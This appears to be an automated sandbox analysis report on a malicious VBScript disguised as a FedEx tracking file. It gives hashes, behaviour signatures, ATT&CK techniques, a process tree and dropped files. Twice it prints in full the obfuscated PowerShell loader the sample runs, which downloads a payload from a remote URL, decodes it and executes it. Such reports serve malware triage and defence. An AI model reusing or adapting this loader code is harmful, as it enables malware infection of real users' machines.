520966f3a23dd01431f870c9dd61f57e3910ab8074d91a67bc99e4076341571d

Analysis

max time kernel
145s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
24/04/2024, 01:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CR-FEDEX_TN-775720741041.vbs
Size 229KB
Sample240424-bt45fadf5y
SHA256 3fe507970779d2d32f1b4083e87417da3fb7b026b3caf42e6b61ec2a9150a30f
MD5 337a01a2cdc2ce2af2292b25005b2ae9
SHA1 ccf44f87fdb19956aaad1b12895de16bb0c0a0f4
SHA512 6b3b6bd69cfbf831ce873c2876ea09802de3927acd59d9c257b2cc58f08eeb5283f477e979341967c5e71e6e9a73fcb40636d58fbbf5ed5b7ec5ce981606ae80
SSDEEP 6144:JjvimEeg2kae621pGqbWt0JPvk+r+usYBbnPZnqtFVyNLFViFHV/O3CLpzTE8pGH:JiWqv6uVKlGH
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	4796	WScript.exe
16	2644	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2112	5048	WerFault.exe	105

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4916	ping.exe
1312	ping.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2644	powershell.exe
2644	powershell.exe
5048	powershell.exe
5048	powershell.exe
5048	powershell.exe
5048	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	5048	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 4916	4796	WScript.exe	88
PID 4796 wrote to memory of 4916	4796	WScript.exe	88
PID 4796 wrote to memory of 1312	4796	WScript.exe	91
PID 4796 wrote to memory of 1312	4796	WScript.exe	91
PID 4796 wrote to memory of 4904	4796	WScript.exe	93
PID 4796 wrote to memory of 4904	4796	WScript.exe	93
PID 4796 wrote to memory of 2644	4796	WScript.exe	95
PID 4796 wrote to memory of 2644	4796	WScript.exe	95
PID 2644 wrote to memory of 3520	2644	powershell.exe	97
PID 2644 wrote to memory of 3520	2644	powershell.exe	97
PID 2644 wrote to memory of 5048	2644	powershell.exe	105
PID 2644 wrote to memory of 5048	2644	powershell.exe	105
PID 2644 wrote to memory of 5048	2644	powershell.exe	105
PID 5048 wrote to memory of 4468	5048	powershell.exe	106
PID 5048 wrote to memory of 4468	5048	powershell.exe	106
PID 5048 wrote to memory of 4468	5048	powershell.exe	106

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CR-FEDEX_TN-775720741041.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Windows\System32\ping.exe
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:4916
- C:\Windows\System32\ping.exe
  ping %.%.%.%
  2⤵
  - Runs ping.exe
  PID:1312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c dir
  2⤵
  PID:4904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Found = 1;$Laundress='Substrin';$Laundress+='g';Function gouge($Tikronesedlerne){$Forbehandler=$Tikronesedlerne.Length-$Found;For($Mget=5; $Mget -lt $Forbehandler; $Mget+=(6)){$Trovrdigstes+=$Tikronesedlerne.$Laundress.Invoke($Mget, $Found);}$Trovrdigstes;}function Ndudgangenes($Gedeost){& ($Bygningsfejl) ($Gedeost);}$Afrigningen=gouge 'Indt,MlsninoPermizFu.esi JocolUpstal UndeaAffi,/prima5 orby.Diasc0 El e Annon(u.trkWP afyibarranUnderdInnumoE,bowwIne psSkinf StrenNDopniTunpli Lgger1 F be0Bruse.Under0 Begi;Musik PrimeW ryddi,ronenSenat6Versi4Uncom; Adjo FieldxGrevs6Centr4 Ring; a se GedderdraabvGoofa:Denti1Hvidt2St,le1 Coun.P ste0Jesp.) Udko KbekrGFusene P.epcRe,axkSnowioleefa/ Paga2Goril0Anti.1Ekpho0 Gaff0 ,nta1Canan0Wa,dw1 Buc bobleFgtteri Elvrr ChameLantaf,ftero nonexJunke/Dekre1Exte 2Xerop1No co.Geome0Testp ';$Muckier=gouge 'steelUcarvisfrdsee melerS ept-SprogATriodgWo dteEmanenOmga tAnden ';$Skabehovedernes=gouge 'P,lmehTempetPristt NonmpSperm:Uncon/vildt/RestfnIncomiAvocatOutfii Odono,olar.Br nzcPyasvoEnetamBortf/ RodfkTolv.oI.dfaoScrip1a,nor/HovedDLangteArkivcQuaeriCanabpAlterhIndopeLoricrCyath.Ste ccAmag sSkrukvGudma ';$Tammeste=gouge '.onre> Syss ';$Bygningsfejl=gouge 'SlrhaiMexiceMilorx,cgon ';$Linguaciousness = gouge 'Rav eeRegrecberkhh OmbyoNedko vrge%ScullaAn aapKan.spSrnumdStueua K.rrtP.llaaCirca%B,rmh\UnflaRl.kkee.dcelpFunktrGrns,eTaxiasNarraedatidnSkos,tMenora Jambt,lampiDebatoRel,cnMala.i grupsNonm mSmogg.CutleNNep,roBac,enConve Mi.de&tegn,& Genn Arvebe FuglcOpuschImperoSmag .heir$Objek ';Ndudgangenes (gouge 'Duckh$ .masg Udvil.rakeof,endbFuncta IdollMuddl: TbruGKa.ytlSuperoRebukoDriftmDecelfTyranuDiskelFurbil NgenyTalel=Aquar(P eudc ArdemBl.dfd Afvi Trkp,/RicedcBabyh workf$ Me.iLSh.maiVovsenMoyengRisikuUnderaprotocAfrigiMiljso Cla,uPplp.s Tornn K ndeL.gensI.flasLaten) Vari ');Ndudgangenes (gouge 'Phyto$ nablgKa itl Outco.omfrbS,udraUndfll B.ig:B,ansG laadr BrumnBeflinAt aceSlantsCount=T,rsi$Int.lSHerackPagumaO ticb BraseM layhDrakmoHal,bvPedoseSpanndTandbeScre.rDissenKostaesydstsReinq.M.nimsNonexpBl.krlBranci Troct Skat(v,gge$PilotTObcoma Res mmrklgmK,ekre,onfrsByggetskedeeVikar)bushw ');$Skabehovedernes=$Grnnes[0];Ndudgangenes (gouge '.olen$FredsgAch,tlTammaoWhorebUnexaa winelTurte:KundeBSukkeaAnlgssPaleoi I cagTamaraVelstm SteryDu,li=OktroN Folke PriswAa,in- SyneOT.mbabRetshjGnagseForskcParoxt Germ enervSLow ny stolsC artt Re teCykelm unqu.SkalpNOmegaePythotCalyc.DehydWMela.e ScrebExcerCBragglM.stiiJomf.eKeysmndorertBrugs ');Ndudgangenes (gouge 'O.era$PuzzoBPe,dias,spes rouniS,ratgBothiaJrgenmnoncoyGaine.HjemsHLaarteDisora UngddD.mokeRuficr,fsbnsHydro[M.nro$SpathM Impru.iffecDiphek KnstiEquisegloher Dren] Coun=Septi$PsychAStiftfFr borVablei EdougC,smenEmplaiMetalnPr,mogV.ldtedoc.mnOmnim ');$Parodiens=gouge 'In,raBTryllaClemcsvi,aliPligtgTol taTrophmBarony Krop.IllumDHariboS lmewStofpn WildlB,rdeoShonkaBalu dForskFTop,eiSkridl,elireAvast( Penc$RespoSMinesk rksuaVi mabI.luseS ilehDollhoHidinvHillte PepsdHydr eJag,srDommenFlyveeKildesKa.ef,Scrag$ SpasSNaturkSprinrPaabum ForsrK stauBondelRettelDankeeNoteskRe nsoAftrkm ModemMacroa TitrnStavedK ldeo S cr) R,di ';$Parodiens=$Gloomfully[1]+$Parodiens;$Skrmrullekommando=$Gloomfully[0];Ndudgangenes (gouge 'Bipen$Edelwg HerelBantuo blrebBr.shaGerbilWh le:.enilS Rapnp KonviOsphrl utrio,astugkinesaDungylbandeeB,spe=Fo,ro(NonapT.atteeForsosBen ntEstru-BrobyP LungaPr,votStanghEnre Brill$.remaSTyresk Kr,drAandfmAstrirDampsu Tolvl A.ndlPestieMalerk EileoBr.ttmBrakem Karia,nlovnSond,dHi choKursu)Fngse ');while (!$Spilogale) {Ndudgangenes (gouge 'T mad$ Jemag SmoolSp efoDemonbDagreaTirsdlNephr:RedbrE Cyklk Tonesmitr kH,vedl UngeuI dtad Neede uterOestri ,etanOvertgAfladeTzar,r Ka,pn ,epreSpongs.elat=Fil,e$NyordtSkovlrHachiuSkabee Coxc ') ;Ndudgangenes $Parodiens;Ndudgangenes (gouge 'N.kkeSAcadetHermiaOphthrBegumtKulrc-F.elsSErstalBugteeChiaseGrftep Mord Trfri4Extra ');Ndudgangenes (gouge ' bior$LsgnggUkronlUselvoForglbTanaiaSincel Dril:UdsmySReindpIleo,iBone.l ordfo Lycighot haGun.olFor ee Slui=Skrup(bogenT lude UndesRe letBronz- S.anPImpleaDerivt JannhShant Polic$friskSS bitkOerkerSkattmPredirMolybuTenialLy phl cat eCaulokForeaoFa,rimSubhemC cotaSupranConindDi eco,omme)Laane ') ;Ndudgangenes (gouge 'Sokke$ FnomgSygemlBesseoFilmibKoloraAvopal Un e:Federp KultaAccumr,uatoaSchoolS,pray haa.s Coe,efor adAv.shl F viy Stud= Mi,t$L epugEpi.rlBekymoSk klbTikroaAfstsl Dola:IguanWWoopsi Sailn KerntfinskeFourcr Formb DerioUddanu FjernInterd Rast+Stege+Tremm%Marty$SporoGappelr Sk,pnRurignTvelyeClocksIdrts.omlasc ynamo GodkuNe,rin FrastTemat ') ;$Skabehovedernes=$Grnnes[$paralysedly];}Ndudgangenes (gouge ',nlig$ Fiarg ,abbl Fol,o Pr.sbLaseraSadhilEurop:GlatbEMithrp.roteiNymarg Maral JoinomarsktFo fatFalkeiSump,d DorsecupiuaAn,vanSkyd Prer=Nontu Ps.udGPa,ageFroghtOrdin-IndusC VentoLicitnTemputg.ogeeIndtrnPensitDiver Malt$ TobaS jarakSafa rConvemStrafrDeniguSivsalMyldrlFle ue TilbkAdel.o IslnmQuietmWraina Snefn unindAttaco W sk ');Ndudgangenes (gouge 'Resti$ rchig KomflMiraboKulkabE,docaBehallTrane:ByronSDamebtP,oblrForsteOveregafme,eU.hoopForlsaFetaepskjoriIndstrNeatgeUn,tutForpuse,cep Fo.om=Aerol ,rim[Rel,tSA,gifyUltrasDiscitAquifeVa igmBoomi.UnproC OutfoSmertn OpkovGrosbeCrisprRest,t Prer]Drv,y:Woodb:MalleF.paavrUti,so ubstmBaadvBGldelaPassisDeb teSe,su6Stand4Vare,SFrus tEman,rKlumpiIntern GanggS,rip( Nyer$NdudvESavskpKee.aiJrv.ugSith.l undeoKv ult.ftvitvrdigiAsc,rdN,rdbeGo.okaBilpan Epex)S rga ');Ndudgangenes (gouge ' Subt$Brystg ,hoblEksteoNrta.bSeptaaTransl St w: HelaARetyimFoemeeCam,slObseriAlnaso BiskrSt,reamrkemtTotaliGuillos.culnForvasOdont Mdel,= Afga Cera.[Pers.SPerisy BothsSavletdeltheZaka mLinge.astroT Fa teChaptxGrafit alve. BagvEDiatonLedelcKognioAsktwd FljtiHenbin.cripgAmaur] ari:Comme:StnksASnittSS.ellCOpholIUnde,IThira.,alblGBianie dysutKompoSNec stYie,drTufs,iBesinn S.olgKejse(Brolg$jordsSAero,t.xsolr I,dle,dgifgG aveeThyrspHalveaepha p StofiSnyltr Duste overtSlambsHensy)Flerb ');Ndudgangenes (gouge 'Garnn$.vorigFrustlSinguoKlne.bAtrcra GerelHomog:DomsmTlandsaDuplik OvernU dereKastam .aanmPackieWoodelKvindiJulelg.ntiq=D.all$Ant aAE plimStrikeKoldkl KrediObtaio Ha,vrtankaaFoelgtSelekiDesceoGamacn dresN tsi.ReprisBarbeuSprkkbOutmasint,rt HandrForsti Mesan ebrigDagle( Pseu3Progr2Told 7Wh,st5Be id7Comed9Ginne,Unpr.2Forpu9Stivf0 Mine2N.gat1 Cala)Str.c ');Ndudgangenes $Taknemmelig;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Representationism.Non && echo $"
    3⤵
    PID:3520
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Found = 1;$Laundress='Substrin';$Laundress+='g';Function gouge($Tikronesedlerne){$Forbehandler=$Tikronesedlerne.Length-$Found;For($Mget=5; $Mget -lt $Forbehandler; $Mget+=(6)){$Trovrdigstes+=$Tikronesedlerne.$Laundress.Invoke($Mget, $Found);}$Trovrdigstes;}function Ndudgangenes($Gedeost){& ($Bygningsfejl) ($Gedeost);}$Afrigningen=gouge 'Indt,MlsninoPermizFu.esi JocolUpstal UndeaAffi,/prima5 orby.Diasc0 El e Annon(u.trkWP afyibarranUnderdInnumoE,bowwIne psSkinf StrenNDopniTunpli Lgger1 F be0Bruse.Under0 Begi;Musik PrimeW ryddi,ronenSenat6Versi4Uncom; Adjo FieldxGrevs6Centr4 Ring; a se GedderdraabvGoofa:Denti1Hvidt2St,le1 Coun.P ste0Jesp.) Udko KbekrGFusene P.epcRe,axkSnowioleefa/ Paga2Goril0Anti.1Ekpho0 Gaff0 ,nta1Canan0Wa,dw1 Buc bobleFgtteri Elvrr ChameLantaf,ftero nonexJunke/Dekre1Exte 2Xerop1No co.Geome0Testp ';$Muckier=gouge 'steelUcarvisfrdsee melerS ept-SprogATriodgWo dteEmanenOmga tAnden ';$Skabehovedernes=gouge 'P,lmehTempetPristt NonmpSperm:Uncon/vildt/RestfnIncomiAvocatOutfii Odono,olar.Br nzcPyasvoEnetamBortf/ RodfkTolv.oI.dfaoScrip1a,nor/HovedDLangteArkivcQuaeriCanabpAlterhIndopeLoricrCyath.Ste ccAmag sSkrukvGudma ';$Tammeste=gouge '.onre> Syss ';$Bygningsfejl=gouge 'SlrhaiMexiceMilorx,cgon ';$Linguaciousness = gouge 'Rav eeRegrecberkhh OmbyoNedko vrge%ScullaAn aapKan.spSrnumdStueua K.rrtP.llaaCirca%B,rmh\UnflaRl.kkee.dcelpFunktrGrns,eTaxiasNarraedatidnSkos,tMenora Jambt,lampiDebatoRel,cnMala.i grupsNonm mSmogg.CutleNNep,roBac,enConve Mi.de&tegn,& Genn Arvebe FuglcOpuschImperoSmag .heir$Objek ';Ndudgangenes (gouge 'Duckh$ .masg Udvil.rakeof,endbFuncta IdollMuddl: TbruGKa.ytlSuperoRebukoDriftmDecelfTyranuDiskelFurbil NgenyTalel=Aquar(P eudc ArdemBl.dfd Afvi Trkp,/RicedcBabyh workf$ Me.iLSh.maiVovsenMoyengRisikuUnderaprotocAfrigiMiljso Cla,uPplp.s Tornn K ndeL.gensI.flasLaten) Vari ');Ndudgangenes (gouge 'Phyto$ nablgKa itl Outco.omfrbS,udraUndfll B.ig:B,ansG laadr BrumnBeflinAt aceSlantsCount=T,rsi$Int.lSHerackPagumaO ticb BraseM layhDrakmoHal,bvPedoseSpanndTandbeScre.rDissenKostaesydstsReinq.M.nimsNonexpBl.krlBranci Troct Skat(v,gge$PilotTObcoma Res mmrklgmK,ekre,onfrsByggetskedeeVikar)bushw ');$Skabehovedernes=$Grnnes[0];Ndudgangenes (gouge '.olen$FredsgAch,tlTammaoWhorebUnexaa winelTurte:KundeBSukkeaAnlgssPaleoi I cagTamaraVelstm SteryDu,li=OktroN Folke PriswAa,in- SyneOT.mbabRetshjGnagseForskcParoxt Germ enervSLow ny stolsC artt Re teCykelm unqu.SkalpNOmegaePythotCalyc.DehydWMela.e ScrebExcerCBragglM.stiiJomf.eKeysmndorertBrugs ');Ndudgangenes (gouge 'O.era$PuzzoBPe,dias,spes rouniS,ratgBothiaJrgenmnoncoyGaine.HjemsHLaarteDisora UngddD.mokeRuficr,fsbnsHydro[M.nro$SpathM Impru.iffecDiphek KnstiEquisegloher Dren] Coun=Septi$PsychAStiftfFr borVablei EdougC,smenEmplaiMetalnPr,mogV.ldtedoc.mnOmnim ');$Parodiens=gouge 'In,raBTryllaClemcsvi,aliPligtgTol taTrophmBarony Krop.IllumDHariboS lmewStofpn WildlB,rdeoShonkaBalu dForskFTop,eiSkridl,elireAvast( Penc$RespoSMinesk rksuaVi mabI.luseS ilehDollhoHidinvHillte PepsdHydr eJag,srDommenFlyveeKildesKa.ef,Scrag$ SpasSNaturkSprinrPaabum ForsrK stauBondelRettelDankeeNoteskRe nsoAftrkm ModemMacroa TitrnStavedK ldeo S cr) R,di ';$Parodiens=$Gloomfully[1]+$Parodiens;$Skrmrullekommando=$Gloomfully[0];Ndudgangenes (gouge 'Bipen$Edelwg HerelBantuo blrebBr.shaGerbilWh le:.enilS Rapnp KonviOsphrl utrio,astugkinesaDungylbandeeB,spe=Fo,ro(NonapT.atteeForsosBen ntEstru-BrobyP LungaPr,votStanghEnre Brill$.remaSTyresk Kr,drAandfmAstrirDampsu Tolvl A.ndlPestieMalerk EileoBr.ttmBrakem Karia,nlovnSond,dHi choKursu)Fngse ');while (!$Spilogale) {Ndudgangenes (gouge 'T mad$ Jemag SmoolSp efoDemonbDagreaTirsdlNephr:RedbrE Cyklk Tonesmitr kH,vedl UngeuI dtad Neede uterOestri ,etanOvertgAfladeTzar,r Ka,pn ,epreSpongs.elat=Fil,e$NyordtSkovlrHachiuSkabee Coxc ') ;Ndudgangenes $Parodiens;Ndudgangenes (gouge 'N.kkeSAcadetHermiaOphthrBegumtKulrc-F.elsSErstalBugteeChiaseGrftep Mord Trfri4Extra ');Ndudgangenes (gouge ' bior$LsgnggUkronlUselvoForglbTanaiaSincel Dril:UdsmySReindpIleo,iBone.l ordfo Lycighot haGun.olFor ee Slui=Skrup(bogenT lude UndesRe letBronz- S.anPImpleaDerivt JannhShant Polic$friskSS bitkOerkerSkattmPredirMolybuTenialLy phl cat eCaulokForeaoFa,rimSubhemC cotaSupranConindDi eco,omme)Laane ') ;Ndudgangenes (gouge 'Sokke$ FnomgSygemlBesseoFilmibKoloraAvopal Un e:Federp KultaAccumr,uatoaSchoolS,pray haa.s Coe,efor adAv.shl F viy Stud= Mi,t$L epugEpi.rlBekymoSk klbTikroaAfstsl Dola:IguanWWoopsi Sailn KerntfinskeFourcr Formb DerioUddanu FjernInterd Rast+Stege+Tremm%Marty$SporoGappelr Sk,pnRurignTvelyeClocksIdrts.omlasc ynamo GodkuNe,rin FrastTemat ') ;$Skabehovedernes=$Grnnes[$paralysedly];}Ndudgangenes (gouge ',nlig$ Fiarg ,abbl Fol,o Pr.sbLaseraSadhilEurop:GlatbEMithrp.roteiNymarg Maral JoinomarsktFo fatFalkeiSump,d DorsecupiuaAn,vanSkyd Prer=Nontu Ps.udGPa,ageFroghtOrdin-IndusC VentoLicitnTemputg.ogeeIndtrnPensitDiver Malt$ TobaS jarakSafa rConvemStrafrDeniguSivsalMyldrlFle ue TilbkAdel.o IslnmQuietmWraina Snefn unindAttaco W sk ');Ndudgangenes (gouge 'Resti$ rchig KomflMiraboKulkabE,docaBehallTrane:ByronSDamebtP,oblrForsteOveregafme,eU.hoopForlsaFetaepskjoriIndstrNeatgeUn,tutForpuse,cep Fo.om=Aerol ,rim[Rel,tSA,gifyUltrasDiscitAquifeVa igmBoomi.UnproC OutfoSmertn OpkovGrosbeCrisprRest,t Prer]Drv,y:Woodb:MalleF.paavrUti,so ubstmBaadvBGldelaPassisDeb teSe,su6Stand4Vare,SFrus tEman,rKlumpiIntern GanggS,rip( Nyer$NdudvESavskpKee.aiJrv.ugSith.l undeoKv ult.ftvitvrdigiAsc,rdN,rdbeGo.okaBilpan Epex)S rga ');Ndudgangenes (gouge ' Subt$Brystg ,hoblEksteoNrta.bSeptaaTransl St w: HelaARetyimFoemeeCam,slObseriAlnaso BiskrSt,reamrkemtTotaliGuillos.culnForvasOdont Mdel,= Afga Cera.[Pers.SPerisy BothsSavletdeltheZaka mLinge.astroT Fa teChaptxGrafit alve. BagvEDiatonLedelcKognioAsktwd FljtiHenbin.cripgAmaur] ari:Comme:StnksASnittSS.ellCOpholIUnde,IThira.,alblGBianie dysutKompoSNec stYie,drTufs,iBesinn S.olgKejse(Brolg$jordsSAero,t.xsolr I,dle,dgifgG aveeThyrspHalveaepha p StofiSnyltr Duste overtSlambsHensy)Flerb ');Ndudgangenes (gouge 'Garnn$.vorigFrustlSinguoKlne.bAtrcra GerelHomog:DomsmTlandsaDuplik OvernU dereKastam .aanmPackieWoodelKvindiJulelg.ntiq=D.all$Ant aAE plimStrikeKoldkl KrediObtaio Ha,vrtankaaFoelgtSelekiDesceoGamacn dresN tsi.ReprisBarbeuSprkkbOutmasint,rt HandrForsti Mesan ebrigDagle( Pseu3Progr2Told 7Wh,st5Be id7Comed9Ginne,Unpr.2Forpu9Stivf0 Mine2N.gat1 Cala)Str.c ');Ndudgangenes $Taknemmelig;"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5048
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Representationism.Non && echo $"
      4⤵
      PID:4468
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5048 -s 2336
      4⤵
      Program crash
      PID:2112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5048 -ip 5048
1⤵
PID:2488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_l1jax4m4.p44.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l1jax4m4.p44.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Representationism.Non

Path C:\Users\Admin\AppData\Roaming\Representationism.Non
Size 464KB
SHA256 c3b7ee58f6e70d1b00b95a6e76bb47e0ab364427480aae74b46ad4294af16ad5
MD5 35917e3477a60b9bb3ddd56aa690b33e
SHA1 51e7016a935af04dcfbe7ded85490a1d7a554fe7
SHA512 18db9c25c10f5680a642f0664568c744b0d4deef449b3891061c65471191f4514606044639fc943a82228469d7245ea6b4ab65d923898838754c208df4691f1d
SSDEEP 12288:4E0xbOd58Br67zzD9edTFSYzGn+JDQ9AQQmp:ObMDDsdTs+oAQQY
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2644-4-0x0000014F97520000-0x0000014F97542000-memory.dmp

Download

memory/2644-16-0x0000014FAFAD0000-0x0000014FAFAE0000-memory.dmp

Download

memory/2644-15-0x0000014FAFAD0000-0x0000014FAFAE0000-memory.dmp

Download

memory/2644-14-0x00007FFF3F210000-0x00007FFF3FCD1000-memory.dmp

Download

memory/2644-19-0x0000014FAFAD0000-0x0000014FAFAE0000-memory.dmp

Download

memory/2644-49-0x00007FFF3F210000-0x00007FFF3FCD1000-memory.dmp

Download

memory/5048-27-0x00000000056A0000-0x0000000005706000-memory.dmp

Download

memory/5048-41-0x0000000006360000-0x000000000637A000-memory.dmp

Download

memory/5048-23-0x0000000004F90000-0x00000000055B8000-memory.dmp

Download

memory/5048-25-0x0000000004F00000-0x0000000004F22000-memory.dmp

Download

memory/5048-22-0x0000000004950000-0x0000000004960000-memory.dmp

Download

memory/5048-26-0x0000000005630000-0x0000000005696000-memory.dmp

Download

memory/5048-37-0x0000000005790000-0x0000000005AE4000-memory.dmp

Download

memory/5048-38-0x0000000005DD0000-0x0000000005DEE000-memory.dmp

Download

memory/5048-39-0x0000000005E20000-0x0000000005E6C000-memory.dmp

Download

memory/5048-24-0x0000000004950000-0x0000000004960000-memory.dmp

Download

memory/5048-40-0x0000000007630000-0x0000000007CAA000-memory.dmp

Download

memory/5048-43-0x0000000007010000-0x0000000007032000-memory.dmp

Download

memory/5048-42-0x0000000007080000-0x0000000007116000-memory.dmp

Download

memory/5048-44-0x0000000008260000-0x0000000008804000-memory.dmp

Download

memory/5048-21-0x0000000075350000-0x0000000075B00000-memory.dmp

Download

memory/5048-46-0x0000000075350000-0x0000000075B00000-memory.dmp

Download

memory/5048-20-0x0000000004810000-0x0000000004846000-memory.dmp

Download